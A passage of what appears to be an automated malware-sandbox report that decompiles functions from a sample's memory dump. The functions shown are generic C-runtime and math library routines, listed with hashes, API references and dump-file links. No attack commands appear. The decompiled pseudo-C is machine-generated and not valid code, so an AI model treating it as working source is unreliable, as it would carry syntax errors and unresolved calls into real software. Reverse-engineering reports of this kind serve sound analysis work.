				 *(_t145 + 0x42) = _t106;
				if (_t106 != 0) goto 0xed18efb7;
				 *((long long*)(_t145 + 0x18)) =  *((long long*)(_t145 + 0x18)) + 2;
				if (E00007FF67FF6ED19AA7C(_t143, _t145) == 0) goto 0xed18f18a;
				goto 0xed18ef50;
				E00007FF67FF6ED184D84(_t143);
				 *_t143 = 0x16;
				E00007FF67FF6ED1C599C();
				goto 0xed18f191;
				return  *((intOrPtr*)(_t145 + 0x28));
			}

0x7ff6ed18eef4
0x7ff6ed18eef7
0x7ff6ed18eefb
0x7ff6ed18eeff
0x7ff6ed18ef03
0x7ff6ed18ef11
0x7ff6ed18ef16
0x7ff6ed18ef20
0x7ff6ed18ef2a
0x7ff6ed18ef2c
0x7ff6ed18ef31
0x7ff6ed18ef37
0x7ff6ed18ef3e
0x7ff6ed18ef43
0x7ff6ed18ef50
0x7ff6ed18ef56
0x7ff6ed18ef5f
0x7ff6ed18ef68
0x7ff6ed18ef71
0x7ff6ed18ef77
0x7ff6ed18ef7e
0x7ff6ed18ef82
0x7ff6ed18ef86
0x7ff6ed18ef8c
0x7ff6ed18ef92
0x7ff6ed18ef98
0x7ff6ed18ef9b
0x7ff6ed18ef9d
0x7ff6ed18efa1
0x7ff6ed18efa4
0x7ff6ed18efa7
0x7ff6ed18efaa
0x7ff6ed18efb1
0x7ff6ed18efb7
0x7ff6ed18efbf
0x7ff6ed18efd4
0x7ff6ed18efd6
0x7ff6ed18efe2
0x7ff6ed18eff7
0x7ff6ed18f001
0x7ff6ed18f007
0x7ff6ed18f00d
0x7ff6ed18f013
0x7ff6ed18f015
0x7ff6ed18f01e
0x7ff6ed18f027
0x7ff6ed18f030
0x7ff6ed18f035
0x7ff6ed18f03a
0x7ff6ed18f03f
0x7ff6ed18f044
0x7ff6ed18f04d
0x7ff6ed18f052
0x7ff6ed18f05a
0x7ff6ed18f05f
0x7ff6ed18f06c
0x7ff6ed18f071
0x7ff6ed18f076
0x7ff6ed18f082
0x7ff6ed18f08f
0x7ff6ed18f098
0x7ff6ed18f0a0
0x7ff6ed18f0a2
0x7ff6ed18f0a4
0x7ff6ed18f0a6
0x7ff6ed18f0a8
0x7ff6ed18f0b5
0x7ff6ed18f0ba
0x7ff6ed18f0c3
0x7ff6ed18f0d0
0x7ff6ed18f0d9
0x7ff6ed18f0db
0x7ff6ed18f0e0
0x7ff6ed18f0e2
0x7ff6ed18f0e8
0x7ff6ed18f0ed
0x7ff6ed18f0ef
0x7ff6ed18f0f7
0x7ff6ed18f0fd
0x7ff6ed18f103
0x7ff6ed18f109
0x7ff6ed18f10f
0x7ff6ed18f111
0x7ff6ed18f115
0x7ff6ed18f117
0x7ff6ed18f11b
0x7ff6ed18f11d
0x7ff6ed18f121
0x7ff6ed18f123
0x7ff6ed18f127
0x7ff6ed18f129
0x7ff6ed18f12d
0x7ff6ed18f12f
0x7ff6ed18f132
0x7ff6ed18f136
0x7ff6ed18f139
0x7ff6ed18f13b
0x7ff6ed18f13e
0x7ff6ed18f142
0x7ff6ed18f147
0x7ff6ed18f14e
0x7ff6ed18f150
0x7ff6ed18f154
0x7ff6ed18f157
0x7ff6ed18f15e
0x7ff6ed18f164
0x7ff6ed18f173
0x7ff6ed18f175
0x7ff6ed18f17a
0x7ff6ed18f17f
0x7ff6ed18f185
0x7ff6ed18f18c
0x7ff6ed18f1af

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18EF37
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18F185

Strings

, xrefs: 00007FF6ED18EF43
*, xrefs: 00007FF6ED18F0AD

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 4ec63f425f504d4985957b1cdca87beaadbf0596afe588d0148998f90385a7bc
Instruction ID: fdeb34f9f2b41ef31c6f2e1fcd5552e71e321939a8ab269ee6ff9463d2a6336c
Opcode Fuzzy Hash: 4ec63f425f504d4985957b1cdca87beaadbf0596afe588d0148998f90385a7bc
Instruction Fuzzy Hash: 59819DBB9082838AEB64DF65C0442FC77B0EB05B49F184035DA49C7295EF3BE481CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED18E108 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6ED18E108(signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				if ( *((intOrPtr*)(__rcx + 0x468)) != 0) goto 0xed18e15f;
				E00007FF67FF6ED184D84(__rax);
				 *__rax = 0x16;
				E00007FF67FF6ED1C599C();
				return __edi | 0xffffffff;
			}

0x7ff6ed18e108
0x7ff6ed18e10d
0x7ff6ed18e112
0x7ff6ed18e132
0x7ff6ed18e134
0x7ff6ed18e139
0x7ff6ed18e13f
0x7ff6ed18e15e

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E13F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E179

Strings

, xrefs: 00007FF6ED18E348
*, xrefs: 00007FF6ED18E2DE

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 1e5db448f25c8a98aa9a74eb4f8bf21431e05364ea239c8b4b33d55978b68cba
Instruction ID: 215adda89b2ed49147d42a9d36d3501ad8af1c1650bbd880b99ae4e10c0ad058
Opcode Fuzzy Hash: 1e5db448f25c8a98aa9a74eb4f8bf21431e05364ea239c8b4b33d55978b68cba
Instruction Fuzzy Hash: 0D814F7B94C2478AEB64CE2584842FCBBA5EB11B48F181135DE49C7295EE3BE841C71B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B4268 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1B42C0

Strings

sinh, xrefs: 00007FF6ED1B430E
", xrefs: 00007FF6ED1B432D

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID: "$sinh
API String ID: 1156100317-1232919748
Opcode ID: 36117724d7e1ed04c3f67e70320efff5a7a109e9a1e26f1d85601939faa17356
Instruction ID: cd380fd7fe6a804912fe906aefc99df1e423495182d0c120c65f053096548fba
Opcode Fuzzy Hash: 36117724d7e1ed04c3f67e70320efff5a7a109e9a1e26f1d85601939faa17356
Instruction Fuzzy Hash: 2891B523D28F858CD6638B34A4513A57368AF663D5F11C333E58E73A65EF2EA0878705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B3BAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1B3C57

Strings

!, xrefs: 00007FF6ED1B3C8C
acos, xrefs: 00007FF6ED1B3C6A

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: b6dcec823e4dc5a9c417182350a053a95c54a451be3991cdf5f5124268749f73
Instruction ID: 01c7dc18c54eb0ffbbeb266ee6897de4d4d5aa28a752c512b07add63d4a48b67
Opcode Fuzzy Hash: b6dcec823e4dc5a9c417182350a053a95c54a451be3991cdf5f5124268749f73
Instruction Fuzzy Hash: C861A522D1CF468DE6238B3465603769714AF563D0F11C337EA4EB7AA4EF2EA0874609

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B3878 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1B391B

Strings

asin, xrefs: 00007FF6ED1B392E
!, xrefs: 00007FF6ED1B3950

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: 1ef3dec4585e277179b23e00cc37b891c191b52d688dbad3f81acd93394b27a0
Instruction ID: 51169508e5dbd827b5df8e2142717c3da494d11bd55eb37a1adcc68ed97cce92
Opcode Fuzzy Hash: 1ef3dec4585e277179b23e00cc37b891c191b52d688dbad3f81acd93394b27a0
Instruction Fuzzy Hash: A7619A23D2CF468DE5138B34A5613769354AF563C0F11C336E95EB7AA4EF2EA0474709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED116910 Relevance: 6.1, APIs: 4, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6ED116910(long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rbp, long long __r14, long long _a8, long long _a16, long long _a24, long long _a32) {
				intOrPtr _t37;
				signed char _t40;
				void* _t58;
				intOrPtr _t60;
				void* _t67;
				void* _t68;
				void* _t71;

				_a32 = __rbx;
				 *((intOrPtr*)(__rcx + 0x50))();
				Sleep(??);
				if ( *((intOrPtr*)(__rcx + 0x90)) != 0) goto 0xed1169db;
				_a8 = __rbp;
				_a16 = __rdi;
				_a24 = __r14;
				r14d = 0x47;
				_t60 =  *__rcx;
				E00007FF67FF6ED1EE0B0();
				 *((intOrPtr*)(__rcx + 0x3c)) =  *((intOrPtr*)(__rcx + 0x3c)) + 1;
				_t40 =  *(_t60 + 0x91) & 0x000000ff;
				if ((_t40 & 0x000000e0) != 0) goto 0xed1169b1;
				_t37 =  *((intOrPtr*)(_t60 + 0xb8));
				if (_t37 < 0) goto 0xed11697d;
				goto 0xed11699d;
				if (_t37 != 0xffffffff) goto 0xed116987;
				goto 0xed11699d;
				if (_t37 != 0xfffffffe) goto 0xed116991;
				goto 0xed11699d;
				_t31 =  ==  ? r14d : 0x4a;
				 *((intOrPtr*)(__rcx + 0x40)) =  ==  ? r14d : 0x4a;
				 *(_t60 + 0x91) = _t40 | 0x00000080;
				E00007FF67FF6ED0FFCF0(_t37, __rcx, _t60, _t58, _t60, __rbp, _t67, _t68, __r14, _t71);
				E00007FF67FF6ED1EE0B8();
				Sleep(??);
				if ( *((intOrPtr*)(__rcx + 0x90)) == 0) goto 0xed116950;
				 *((intOrPtr*)(__rcx + 0x58))();
				return 0;
			}

0x7ff6ed116910
0x7ff6ed116922
0x7ff6ed116927
0x7ff6ed116934
0x7ff6ed11693a
0x7ff6ed11693f
0x7ff6ed116944
0x7ff6ed116949
0x7ff6ed116950
0x7ff6ed116957
0x7ff6ed11695d
0x7ff6ed116960
0x7ff6ed11696a
0x7ff6ed11696c
0x7ff6ed116974
0x7ff6ed11697b
0x7ff6ed116980
0x7ff6ed116985
0x7ff6ed11698a
0x7ff6ed11698f
0x7ff6ed116999
0x7ff6ed1169a0
0x7ff6ed1169a6
0x7ff6ed1169ac
0x7ff6ed1169b5
0x7ff6ed1169bd
0x7ff6ed1169ca
0x7ff6ed1169dd
0x7ff6ed1169ec

APIs

Sleep.KERNEL32 ref: 00007FF6ED116927
RtlAcquirePebLock.NTDLL ref: 00007FF6ED116957
RtlLeaveCriticalSection.NTDLL ref: 00007FF6ED1169B5
Sleep.KERNEL32 ref: 00007FF6ED1169BD

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Sleep$AcquireCriticalLeaveLockSection
String ID:
API String ID: 1711459333-0
Opcode ID: 8bff635730d18e62b8c5ba54141f2cfb47b45429cdf546357ab3a6131a260e01
Instruction ID: 7812f816c28302d6396de7f01894dcabe5e3a2a0d8fc8290bc680f3e1564aab5
Opcode Fuzzy Hash: 8bff635730d18e62b8c5ba54141f2cfb47b45429cdf546357ab3a6131a260e01
Instruction Fuzzy Hash: C421713360CA468BD7588F2494403BC7361FB54BA4F141235EA5E836D9EF3EE949C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED113ED0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6ED113EE5
VirtualQuery.KERNEL32 ref: 00007FF6ED113F00
VirtualFree.KERNEL32 ref: 00007FF6ED113F35
SetLastError.KERNEL32 ref: 00007FF6ED113F4D

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorLastVirtual$FreeQuery
String ID:
API String ID: 2187276999-0
Opcode ID: b3dfd8fdebdf336bd3649c607cabc9316637ede27637d673395c608ceccb4a5d
Instruction ID: 73caa334c05cb8e1e91857befc6a19a0dee3dc375b59947c6e7f3e8a68902601
Opcode Fuzzy Hash: b3dfd8fdebdf336bd3649c607cabc9316637ede27637d673395c608ceccb4a5d
Instruction Fuzzy Hash: BE112833B0CB4381EA618B25B4043A976B1FB58BD0F084135EA5D97A9CEF3DD5948706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED18DEE4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 153
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6ED18DEE4(void* __edx, signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, void* __rbp, long long _a8, long long _a16) {
				void* _t88;
				signed int _t96;
				signed int _t103;
				signed int _t105;
				char _t107;
				void* _t108;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t134;
				intOrPtr* _t138;
				void* _t140;
				char _t148;
				void* _t153;

				_t154 = __rbp;
				_t134 = __rax;
				_t108 = __edx;
				_a8 = __rbx;
				_a16 = __rdi;
				_t140 = __rcx;
				_t110 = __edi | 0xffffffff;
				if ( *((intOrPtr*)(__rcx + 0x468)) == 0) goto 0xed18e0e3;
				if (E00007FF67FF6ED19AE4C( *((intOrPtr*)(__rcx + 0x468))) == 0) goto 0xed18e0f3;
				if ( *((long long*)(__rcx + 0x18)) != 0) goto 0xed18df35;
				E00007FF67FF6ED184D84(_t134);
				 *_t134 = 0x16;
				E00007FF67FF6ED1C599C();
				goto 0xed18e0f5;
				 *((intOrPtr*)(__rcx + 0x470)) =  *((intOrPtr*)(__rcx + 0x470)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x470)) == 2) goto 0xed18e0de;
				 *(__rcx + 0x50) =  *(__rcx + 0x50) & 0x00000000;
				 *(__rcx + 0x2c) =  *(__rcx + 0x2c) & 0x00000000;
				goto 0xed18e0aa;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x28)) < 0) goto 0xed18e0bf;
				_t148 =  *((char*)(__rcx + 0x41));
				if (_t148 - 0x20 - 0x5a > 0) goto 0xed18df84;
				goto 0xed18df86;
				_t96 =  *(0xed211bc0 + (_t148 - 0x20) * 8);
				 *(__rcx + 0x2c) = _t96;
				if (_t96 == 8) goto 0xed18e0e3;
				_t118 = _t96;
				if (_t118 == 0) goto 0xed18e09e;
				if (_t118 == 0) goto 0xed18e085;
				if (_t118 == 0) goto 0xed18e050;
				if (_t118 == 0) goto 0xed18e025;
				if (_t118 == 0) goto 0xed18e01c;
				if (_t118 == 0) goto 0xed18dff0;
				if (_t118 == 0) goto 0xed18dfe3;
				if (_t96 - 0xfffffffffffffffc != 1) goto 0xed18e0f3;
				E00007FF67FF6ED192418(__rcx, __rcx, _t148, _t153, __rbp);
				goto 0xed18e0a6;
				E00007FF67FF6ED191200(_t148 - 0x20, _t140);
				goto 0xed18e0a6;
				if (_t108 == 0x2a) goto 0xed18e006;
				E00007FF67FF6ED18D734(_t148 - 0x20, _t140, _t140, _t140 + 0x38, _t154);
				goto 0xed18e0a6;
				 *((long long*)(_t140 + 0x20)) =  *((long long*)(_t140 + 0x20)) + 8;
				_t103 =  *( *((intOrPtr*)(_t140 + 0x20)) - 8);
				_t104 =  <  ? _t110 : _t103;
				 *(_t140 + 0x38) =  <  ? _t110 : _t103;
				goto 0xed18e04c;
				 *(_t140 + 0x38) =  *(_t140 + 0x38) & 0x00000000;
				goto 0xed18e0aa;
				if (_t108 == 0x2a) goto 0xed18e030;
				goto 0xed18dff9;
				 *((long long*)(_t140 + 0x20)) =  *((long long*)(_t140 + 0x20)) + 8;
				_t105 =  *( *((intOrPtr*)(_t140 + 0x20)) - 8);
				 *(_t140 + 0x34) = _t105;
				if (_t105 >= 0) goto 0xed18e04c;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) | 0x00000004;
				 *(_t140 + 0x34) =  ~_t105;
				goto 0xed18e0a6;
				_t88 = _t108;
				if (_t108 == 0x20) goto 0xed18e07f;
				if (_t88 == 0x23) goto 0xed18e079;
				if (_t88 == 0x2b) goto 0xed18e073;
				if (_t88 == 0x2d) goto 0xed18e06d;
				if (_t88 != 0x30) goto 0xed18e0aa;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) | 0x00000008;
				goto 0xed18e0aa;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) | 0x00000004;
				goto 0xed18e0aa;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) | 0x00000001;
				goto 0xed18e0aa;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) | 0x00000020;
				goto 0xed18e0aa;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) | 0x00000002;
				goto 0xed18e0aa;
				 *(_t140 + 0x34) =  *(_t140 + 0x34) & 0x00000000;
				 *(_t140 + 0x30) =  *(_t140 + 0x30) & 0x00000000;
				 *(_t140 + 0x3c) =  *(_t140 + 0x3c) & 0x00000000;
				 *((char*)(_t140 + 0x40)) = 0;
				 *(_t140 + 0x38) = _t110;
				 *((char*)(_t140 + 0x54)) = 0;
				goto 0xed18e0aa;
				if (E00007FF67FF6ED1900E4(_t140) == 0) goto 0xed18e0f3;
				_t138 =  *((intOrPtr*)(_t140 + 0x18));
				_t107 =  *_t138;
				 *((char*)(_t140 + 0x41)) = _t107;
				if (_t107 != 0) goto 0xed18df5c;
				 *((long long*)(_t140 + 0x18)) =  *((long long*)(_t140 + 0x18)) + 1;
				if ( *((intOrPtr*)(_t140 + 0x2c)) == 0) goto 0xed18e0cb;
				if ( *((intOrPtr*)(_t140 + 0x2c)) != 7) goto 0xed18e0e3;
				 *((intOrPtr*)(_t140 + 0x470)) =  *((intOrPtr*)(_t140 + 0x470)) + 1;
				if ( *((intOrPtr*)(_t140 + 0x470)) != 2) goto 0xed18df4f;
				goto 0xed18e0f5;
				E00007FF67FF6ED184D84(_t138);
				 *_t138 = 0x16;
				E00007FF67FF6ED1C599C();
				return _t110;
			}

0x7ff6ed18dee4
0x7ff6ed18dee4
0x7ff6ed18dee4
0x7ff6ed18dee4
0x7ff6ed18dee9
0x7ff6ed18def4
0x7ff6ed18def7
0x7ff6ed18df04
0x7ff6ed18df11
0x7ff6ed18df1c
0x7ff6ed18df1e
0x7ff6ed18df23
0x7ff6ed18df29
0x7ff6ed18df30
0x7ff6ed18df35
0x7ff6ed18df42
0x7ff6ed18df4f
0x7ff6ed18df53
0x7ff6ed18df57
0x7ff6ed18df5c
0x7ff6ed18df64
0x7ff6ed18df6a
0x7ff6ed18df74
0x7ff6ed18df82
0x7ff6ed18df8f
0x7ff6ed18df93
0x7ff6ed18df99
0x7ff6ed18df9f
0x7ff6ed18dfa1
0x7ff6ed18dfaa
0x7ff6ed18dfb3
0x7ff6ed18dfbc
0x7ff6ed18dfc1
0x7ff6ed18dfc6
0x7ff6ed18dfcb
0x7ff6ed18dfd0
0x7ff6ed18dfd9
0x7ff6ed18dfde
0x7ff6ed18dfe6
0x7ff6ed18dfeb
0x7ff6ed18dff3
0x7ff6ed18dffc
0x7ff6ed18e001
0x7ff6ed18e006
0x7ff6ed18e00f
0x7ff6ed18e014
0x7ff6ed18e017
0x7ff6ed18e01a
0x7ff6ed18e01c
0x7ff6ed18e020
0x7ff6ed18e028
0x7ff6ed18e02e
0x7ff6ed18e030
0x7ff6ed18e039
0x7ff6ed18e03c
0x7ff6ed18e041
0x7ff6ed18e043
0x7ff6ed18e049
0x7ff6ed18e04e
0x7ff6ed18e050
0x7ff6ed18e055
0x7ff6ed18e059
0x7ff6ed18e05d
0x7ff6ed18e061
0x7ff6ed18e065
0x7ff6ed18e067
0x7ff6ed18e06b
0x7ff6ed18e06d
0x7ff6ed18e071
0x7ff6ed18e073
0x7ff6ed18e077
0x7ff6ed18e079
0x7ff6ed18e07d
0x7ff6ed18e07f
0x7ff6ed18e083
0x7ff6ed18e085
0x7ff6ed18e089
0x7ff6ed18e08d
0x7ff6ed18e091
0x7ff6ed18e095
0x7ff6ed18e098
0x7ff6ed18e09c
0x7ff6ed18e0a8
0x7ff6ed18e0aa
0x7ff6ed18e0ae
0x7ff6ed18e0b0
0x7ff6ed18e0b5
0x7ff6ed18e0bb
0x7ff6ed18e0c3
0x7ff6ed18e0c9
0x7ff6ed18e0cb
0x7ff6ed18e0d8
0x7ff6ed18e0e1
0x7ff6ed18e0e3
0x7ff6ed18e0e8
0x7ff6ed18e0ee
0x7ff6ed18e105

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E0EE

Part of subcall function 00007FF6ED19AE4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED19AED6

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18DF29

Strings

, xrefs: 00007FF6ED18E079

Memory Dump Source

